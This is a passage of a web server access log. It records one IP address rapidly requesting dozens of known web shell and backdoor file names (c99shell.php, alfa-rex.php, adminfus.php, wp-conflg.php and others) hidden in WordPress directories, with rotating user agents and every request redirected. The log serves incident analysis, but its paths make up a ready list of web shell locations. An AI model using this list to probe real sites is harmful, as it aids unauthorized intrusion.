rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:17:04 +0300] "GET /wp-content/themes/classwithtostring.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:05 +0300] "GET /uploads/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:05 +0300] "GET /assets/js/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 185.92.26.12 - - [09/Feb/2026:04:17:05 +0300] "GET /assets/comfunctions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:17:06 +0300] "GET /wp-includes/class-wp-error-module.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:06 +0300] "GET /css/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:07 +0300] "GET /adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:07 +0300] "GET /wp-includes/css/litespeed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:08 +0300] "GET /images/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:08 +0300] "GET /wp-admin/setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:09 +0300] "GET /wp-includes/css/dist/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:17:09 +0300] "GET /cong.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:09 +0300] "GET /wp-includes/block-bindings/imagess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:10 +0300] "GET /wp-content/plugins/pwnd/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:10 +0300] "GET /wp-includes/default-filters-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:11 +0300] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:11 +0300] "GET /assets/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:17:12 +0300] "GET /autoload_classmap/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:12 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:12 +0300] "GET /wp-includes/Requests/Auth/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:17:13 +0300] "GET /wp-admin/js/widgets/bless2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:13 +0300] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:17:14 +0300] "GET /wp-admin/item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:14 +0300] "GET /wp-includes/Text/Diff/Engine/theme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:14 +0300] "GET /.well-known/acme-challenge/mah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:17:15 +0300] "GET /wp-includes/ID3/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:15 +0300] "GET /wp-includes/customize/class-wp-customize-selective-refresh-library.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:16 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:16 +0300] "GET /wp-admin/js/cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:17 +0300] "GET /wp-includes/Requests/library/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:17:17 +0300] "GET /wp-includes/interactivity-api/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:17:17 +0300] "GET /css/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 185.92.26.12 - - [09/Feb/2026:04:17:18 +0300] "GET /wp-content/plugins/classic-editor/alam.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:18 +0300] "GET /wordpress/wp-admin/includes/wordpress/wp-admin/includes/admin-filters.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 185.92.26.12 - - [09/Feb/2026:04:17:19 +0300] "GET /assets/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:19 +0300] "GET /fm.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:20 +0300] "GET /wp-content/goods.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:20 +0300] "GET /wp-includes/wp-2019.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:17:21 +0300] "GET /wp-includes/SimplePie/info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:21 +0300] "GET /assets/images/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:22 +0300] "GET /wp-includes/log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:22 +0300] "GET /wp-includes/assets/script-loader-react-refresh-runtime-num.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:23 +0300] "GET /wp-includes/assets/script-loader-react-refresh-entry.min-object.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:23 +0300] "GET /wp-includes/aw.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:24 +0300] "GET /update/gely.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:17:24 +0300] "GET /uploads/c99shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:17:24 +0300] "GET /wp-content/themes/pridmag/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:25 +0300] "GET /uploads/lala.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:25 +0300] "GET /wp-includes/IXR/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:26 +0300] "GET /wp-includes/css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:17:26 +0300] "GET /wp-content/plugins/wp-theme-editor/include.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:26 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:17:27 +0300] "GET /wp-includes/css/dist/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:27 +0300] "GET /wp-includes/style-engine/dedi1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:28 +0300] "GET /wp-admin/css/adminfusm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:28 +0300] "GET /wp-content/click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:29 +0300] "GET /wp-includes/template-less.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:29 +0300] "GET /wp-includes/pomo/alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:30 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/abcd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:30 +0300] "GET /wp-admin/css/colors/blue/admin-footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:30 +0300] "GET /retu11.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:31 +0300] "GET /wp-content/themes/twentytwentytwo/bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:31 +0300] "GET /wp-admin/css/elementskit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:32 +0300] "GET /js/1.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:32 +0300] "GET /wp-content/themes/twentytwentyfour/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:32 +0300] "GET /wp-includes/assets/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:33 +0300] "GET /wp-includes/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:33 +0300] "GET /backup/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:34 +0300] "GET /wp-content/uploads/uploads.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 185.92.26.12 - - [09/Feb/2026:04:17:34 +0300] "GET /wp-includes/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 185.92.26.12 - - [09/Feb/2026:04:17:35 +0300] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:35 +0300] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:36 +0300] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:36 +0300] "GET /wp-includes/load.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:36 +0300] "GET /wp-includes/ID3/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:37 +0300] "GET /wp-includes/class-wp-theme-float.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:17:37 +0300] "GET /images/c99.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:38 +0300] "GET /wp-content/plugins/core-plugin/waf_defender.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:38 +0300] "GET /wp-content/themes/twentytwentytwo/as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:39 +0300] "GET /wp-includes/widgets/wp-style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:39 +0300] "GET /setup-config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:39 +0300] "GET /wp-includes/widgets/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:40 +0300] "GET /wp-content/uploads/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:40 +0300] "GET /img/prettyPhoto/dark_square/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 185.92.26.12 - - [09/Feb/2026:04:17:41 +0300] "GET /type.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:41 +0300] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:17:41 +0300] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:42 +0300] "GET /as/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:42 +0300] "GET /wp-includes/theme-compat/db.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:43 +0300] "GET /wp-admin/maint/flex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 185.92.26.12 - - [09/Feb/2026:04:17:43 +0300] "GET /css/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:44 +0300] "GET /css/hekokstyle.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:44 +0300] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:44 +0300] "GET /files/shares/403ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:45 +0300] "GET /goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:17:45 +0300] "GET /images/fix.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:46 +0300] "GET /wp-content/themes/tflow/adminfus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:46 +0300] "GET /files.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:46 +0300] "GET /wp-includes/assets/system.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 185.92.26.12 - - [09/Feb/2026:04:17:47 +0300] "GET /wp-includes/l10n/class-wp-translations-library.php%20 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 185.92.26.12 - - [09/Feb/2026:04:17:47 +0300] "GET /wp-includes/block-bindings/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:48 +0300] "GET /images/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:48 +0300] "GET /wp-content/plugins/linkpreview/av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 185.92.26.12 - - [09/Feb/2026:04:17:49 +0300] "GET /wp-includes/customize/class-wp-customize-upload-control-cookie.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 185.92.26.12 - - [09/Feb/2026:04:17:49 +0300] "GET /wp-includes/ID3/simi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:50 +0300] "GET /wp-includes/class-wp-taxonomy-sample.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 185.92.26.12 - - [09/Feb/2026:04:17:50 +0300] "GET /img/chat-search.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:50 +0300] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:51 +0300] "GET /wp-includes/js/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:51 +0300] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 185.92.26.12 - - [09/Feb/2026:04:17:52 +0300] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 185.92.26.12 - - [09/Feb/2026:04:17:52 +0300] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 185.92.26.12 - - [09/Feb/2026:04:17:53 +0300] "GET /wp-includes/l10n/ HTTP/1.1" 301 